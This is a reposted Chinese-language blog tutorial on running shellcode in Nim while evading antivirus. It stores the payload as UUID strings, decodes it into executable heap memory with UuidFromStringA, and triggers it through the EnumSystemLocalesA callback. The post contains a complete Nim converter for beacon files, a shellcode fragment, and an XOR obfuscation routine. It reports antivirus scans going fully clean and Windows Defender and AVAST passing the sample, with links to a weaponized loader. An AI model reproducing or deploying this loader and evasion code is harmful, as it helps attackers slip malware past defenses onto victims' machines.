nim-lang: UUID shellcode execution(過所有殺軟)


nim-lang: UUID shellcode execution(過所有殺軟)

Nim(最初叫 Nimrod)是一門命令式靜態類型編程語言,可以被編譯成 C 或 JavaScript。它是開源的,維護很活躍,還結合了來自成熟語言(如Python,Ada和Modula)的成功概念。

Nim具有高效性,生成的執行文件小,編譯器支持所有平台,非常適合嵌入式硬實時系統,支持各種后端編譯等等,Nim強大的宏系統和獨立性,接下來將介紹如何利用Nim結合一些未被大規模濫用的winapi進行免殺。

過程分析

截圖

第一步,創建並分配堆內存

HANDLE HeapCreate(
  DWORD  flOptions,
  SIZE_T dwInitialSize,
  SIZE_T dwMaximumSize
);

HeapCreate 函數原型如上,在這里第一個參數必須是“HEAP_CREATE_ENABLE_EXECUTE”,否則當我們試圖在來自堆的內存塊中執行代碼時,系統會拋出EXCEPTION_ACCESS_VIOLATION異常。其他兩個參數設置為0即可,其中dwMaximumSize為0,表示堆內存大小是可增長的,其大小僅受限於系統可用內存大小。

DECLSPEC_ALLOCATOR LPVOID HeapAlloc(
  HANDLE hHeap,
  DWORD  dwFlags,
  SIZE_T dwBytes
);

接下來,使用 HeapAlloc 函數在剛創建的堆上分配內存。本次測試用 dwBytes為 0x100000,也就是申請了 1MB大小的內存。

第二步,將shellcode植入堆內存

這里使用了 UuidFromStringA 函數。

RPC_STATUS UuidFromStringA(
  RPC_CSTR StringUuid,
  UUID     *Uuid
);

首先,我們使用 UuidToStringA 函數將 shellcode 轉成 string UUID,運行時再使用 UuidFromStringA 將其提出來放入上一步分配的堆內存。具體怎么實現往下看。

第三步,觸發執行

截圖

這里用到 EnumSystemLocalesA 函數,原型如上圖。關於通過函數回調執行shellcode,我在之前兩篇文章中有提到:

Shellcode Injection via Callbacks

nim-lang 免殺測試:回調函數結合隱寫術

在這里通過 lpLocaleEnumProc 參數指定回調函數,能達到類似效果的函數還有很多。

將 bytes 轉成 string UUID

python 版本

使用python實現比較簡單,如下將 shellcode bytes 轉成 string GUID。

截圖

完整代碼:https://github.com/ChoiSG/UuidShellcodeExec/blob/main/shellcodeToUUID.py

nim-lang版本

這里用到 UuidToStringA 函數,此函數的作用是將 binary UUID 轉成 string UUID。

RPC_STATUS UuidToStringA(
  const UUID *Uuid,
  RPC_CSTR   *StringUuid
);

那么怎么將 bytes 轉成 binary UUID呢。

var uid: UUID
var shellcode = "\xEF\x8B\x74\x1F\x1C\x48\x01\xFE\x8B\x34\xAE\x48\x01\xF7\x99\xFF"
copyMem(addr uid, addr shellcode[0], len(shellcode))
echo type(uid)
echo uid

以上代碼輸出:

GUID
(Data1: 527731695, Data2: 18460, Data3: 65025, Data4: [139, 52, 174, 72, 1, 247, 153, 255])

UUID是一個由4個連字號(-)將32個字節長的字符串分隔后生成的字符串,總共36個字節長。比如:550e8400-e29b-41d4-a716-446655440000。GUID 是微軟對UUID這個標准的實現。UUID是由開放軟件基金會(OSF)定義的。UUID還有其它各種實現,不止GUID一種。

在winim模塊中也可見其定義:

截圖

完整代碼如下

編譯:nim c convertToUUID.nim

使用:convertToUUID.exe beacon.bin

生成的 string UUID 會保持到當前目錄下 uuid.txt 文件中。

#[
    Author: StudyCat
    Blog: https://www.cnblogs.com/studycat
    Github: https://github.com/StudyCat404/myNimExamples

    References:
        - https://github.com/ChoiSG/UuidShellcodeExec/blob/main/shellcodeToUUID.py
]#
import winim
import os
    
proc convertToUUID(shellcode: var seq[byte]) =  
    var 
        fileName = "uuid.txt"
        outFile: File
    outFile = open(fileName, fmAppend)    
    if len(shellcode) div 16 != 0 :
        for i in 1..(16 - (len(shellcode) mod 16)):
            shellcode.add(0x00)
    else:
        echo "test"
    for i in 0..(len(shellcode) div 16 - 1):
        var 
            s = i*16
            e = s+15
            buf = shellcode[s..e]
            uid: UUID
            uidStr: RPC_CSTR
            line = ""
            
        copyMem(addr uid, addr buf[0], len(buf))
        UuidToStringA(addr uid, addr uidStr)
        line = "\"" & $uidStr & "\","
        outFile.writeLine(line)
    outFile.close()
 
proc convertToUUID(fileName: string) =
    if fileExists(fileName):
        echo "Convert ", fileName, " to string UUID"
        echo "Output file: uuid.txt"
        var f: File
        f = open(fileName,fmRead)   
        var fileSize = f.getFileSize()
        var shellcode = newSeq[byte](fileSize)
        discard readBytes(f,shellcode,0,fileSize)
        convertToUUID(shellcode)
        f.close()
    else:
        echo "The system cannot find the file specified."
    
proc help() =
    let pathSplit = splitPath(paramStr(0))
    echo "Usage:"
    echo "\t", pathSplit.tail, " filename"

when defined(windows):
    when isMainModule:
        if paramCount() > 0:
            var p1 = paramStr(1)
            if p1 in ["/?","-h","--help"]:
                help()
            else:
                convertToUUID(p1)
        else:
            help()

武器化

在這方面 @byt3bl33d3r 已經走在前面了,uuid_exec_bin.nim 以下是免殺測試結果。你會發現 50 個殺軟僅有1個識別出有問題(見“virscan掃描結果I”),但我想要的是全綠。所以決定對 string UUID進行加密,這里使用異或進行測試(最終全綠,見“virscan掃描結果 II”)。

異或加密

proc gkkaekgaEE(s: string, key: int): string {.noinline.} =
  # We need {.noinline.} here because otherwise C compiler
  # aggresively inlines this procedure for EACH string which results
  # in more assembly instructions
  var k = key
  result = string(s)
  for i in 0 ..< result.len:
    for f in [0, 8, 16, 24]:
      result[i] = chr(uint8(result[i]) xor uint8((k shr f) and 0xFF))
    k = k +% 1

截圖

當把樣本上傳virscan或者virustotal掃描的時候,就意味着很快就難逃殺軟了,本着學習的心態還是可以的。

本文章所有代碼可見:https://github.com/StudyCat404/uuid_exec_shellcode

免殺測試

virscan掃描結果 I

Scanner results:2%Antivirus software(1/50)found malware!

唯一被殺的是一款來自奧地利的殺軟 ikarus,提示是“Virus.Win32.Meterpreter”,可能是 shellcode 沒有做加密的緣故。

掃描結果:https://r.virscan.org/language/en/report/2ed921b27767d89806ae45fb3c1fc78b

virscan掃描結果 II

截圖

掃描結果:https://tinyurl.com/j6khk3f4

本地測試

本地測試 windows defender 和 AVAST 均通過。

截圖

截圖

免責聲明

本文中提到並不是什么新技術,僅是處於個人愛好的研究筆記,文中使用到的代碼都是公開的,網上可以找到。文中提供程序(方法)可能帶有攻擊性,僅供安全研究與教學之用,用戶將其信息做其他用途,由用戶承擔全部法律及連帶責任。

引用

https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/

https://github.com/ChoiSG/UuidShellcodeExec

http://ropgadget.com/posts/abusing_win_functions.html

https://blog.sunggwanchoi.com/eng-uuid-shellcode-execution/

https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/uuid_exec_bin.nim
From: https://www.cnblogs.com/StudyCat/p/14765971.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM